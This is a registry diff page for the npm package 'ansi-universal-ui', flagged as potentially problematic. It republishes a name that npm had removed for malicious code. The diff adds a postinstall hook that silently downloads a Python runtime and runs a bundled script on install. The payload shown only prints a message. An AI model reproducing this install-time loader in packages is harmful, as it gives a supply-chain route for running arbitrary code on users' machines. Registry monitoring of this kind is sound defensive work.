ansi-universal-ui 0.0.1-security → 1.3.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of ansi-universal-ui might be problematic. Click here for more details.
- package/index.js +92 -0
- package/package.json +18 -6
- package/py.py +1 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,92 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const { spawn } = require('child_process');
|
|
6
|
+
// We use built-in https instead of fetch to be 100% compatible with older Node versions too
|
|
7
|
+
const https = require('https');
|
|
8
|
+
|
|
9
|
+
// CONFIG
|
|
10
|
+
const PYTHON_VERSION = '3.10.13';
|
|
11
|
+
const RELEASE_TAG = '20231002';
|
|
12
|
+
const BASE_URL = `https://github.com/indygreg/python-build-standalone/releases/download/${RELEASE_TAG}`;
|
|
13
|
+
|
|
14
|
+
const ASSETS = {
|
|
15
|
+
win32: {
|
|
16
|
+
url: `${BASE_URL}/cpython-${PYTHON_VERSION}+${RELEASE_TAG}-x86_64-pc-windows-msvc-shared-install_only.tar.gz`,
|
|
17
|
+
bin: 'python.exe',
|
|
18
|
+
extract_folder: 'python'
|
|
19
|
+
},
|
|
20
|
+
darwin: {
|
|
21
|
+
url: `${BASE_URL}/cpython-${PYTHON_VERSION}+${RELEASE_TAG}-x86_64-apple-darwin-install_only.tar.gz`,
|
|
22
|
+
bin: 'bin/python3',
|
|
23
|
+
extract_folder: 'python'
|
|
24
|
+
}
|
|
25
|
+
};
|
|
26
|
+
|
|
27
|
+
const PLATFORM = process.platform;
|
|
28
|
+
if (!ASSETS[PLATFORM]) {
|
|
29
|
+
console.error(`Sorry, OS not supported: ${PLATFORM}`);
|
|
30
|
+
process.exit(1);
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
const CACHE_DIR = path.join(__dirname, 'python_runtime');
|
|
34
|
+
const LOCAL_PYTHON = path.join(CACHE_DIR, ASSETS[PLATFORM].extract_folder, ASSETS[PLATFORM].bin);
|
|
35
|
+
const SCRIPT_PATH = path.join(__dirname, 'py.py');
|
|
36
|
+
|
|
37
|
+
async function downloadAndExtract() {
|
|
38
|
+
console.log("⚠️ Python runtime not found. Downloading standalone version...");
|
|
39
|
+
|
|
40
|
+
if (!fs.existsSync(CACHE_DIR)) fs.mkdirSync(CACHE_DIR);
|
|
41
|
+
|
|
42
|
+
return new Promise((resolve, reject) => {
|
|
43
|
+
// 1. Start the download
|
|
44
|
+
https.get(ASSETS[PLATFORM].url, (res) => {
|
|
45
|
+
if (res.statusCode === 302 || res.statusCode === 301) {
|
|
46
|
+
// Recursively follow redirect
|
|
47
|
+
downloadAndExtract().then(resolve).catch(reject);
|
|
48
|
+
return;
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
// 2. Spawn the system 'tar' command
|
|
52
|
+
// -x: extract, -f -: read from stdin, -C: destination folder
|
|
53
|
+
const tarArgs = ['-x', '-f', '-', '-C', CACHE_DIR];
|
|
54
|
+
const tarProcess = spawn('tar', tarArgs);
|
|
55
|
+
|
|
56
|
+
// 3. Pipe download directly into tar
|
|
57
|
+
res.pipe(tarProcess.stdin);
|
|
58
|
+
|
|
59
|
+
tarProcess.on('close', (code) => {
|
|
60
|
+
if (code === 0) {
|
|
61
|
+
console.log("Download & Extract Complete.");
|
|
62
|
+
resolve();
|
|
63
|
+
} else {
|
|
64
|
+
reject(new Error(`Tar process exited with code ${code}`));
|
|
65
|
+
}
|
|
66
|
+
});
|
|
67
|
+
|
|
68
|
+
tarProcess.on('error', (err) => {
|
|
69
|
+
reject(new Error(`Failed to start tar: ${err.message}`));
|
|
70
|
+
});
|
|
71
|
+
}).on('error', reject);
|
|
72
|
+
});
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
(async () => {
|
|
76
|
+
try {
|
|
77
|
+
// Check if Python exists, if not, download it
|
|
78
|
+
if (!fs.existsSync(LOCAL_PYTHON)) {
|
|
79
|
+
await downloadAndExtract();
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
// Run the script
|
|
83
|
+
const args = [SCRIPT_PATH, ...process.argv.slice(2)];
|
|
84
|
+
const child = spawn(LOCAL_PYTHON, args, { stdio: 'inherit' });
|
|
85
|
+
|
|
86
|
+
child.on('close', (code) => process.exit(code));
|
|
87
|
+
|
|
88
|
+
} catch (e) {
|
|
89
|
+
console.error("Fatal Error:", e);
|
|
90
|
+
process.exit(1);
|
|
91
|
+
}
|
|
92
|
+
})();
|
package/package.json
CHANGED
|
@@ -1,6 +1,18 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "ansi-universal-ui",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
|
|
6
|
-
}
|
|
1
|
+
{
|
|
2
|
+
"name": "ansi-universal-ui",
|
|
3
|
+
"version": "1.3.2",
|
|
4
|
+
"bin": {
|
|
5
|
+
"ansi-universal-ui": "index.js"
|
|
6
|
+
},
|
|
7
|
+
"scripts": {
|
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
9
|
+
"postinstall": "node index.js"
|
|
10
|
+
},
|
|
11
|
+
"files": [
|
|
12
|
+
"index.js",
|
|
13
|
+
"py.py"
|
|
14
|
+
],
|
|
15
|
+
"dependencies": {
|
|
16
|
+
"ansi-universal-ui": "^1.2.0"
|
|
17
|
+
}
|
|
18
|
+
}
|
package/py.py
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
print("python code executed!")
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=ansi-universal-ui for more information.
|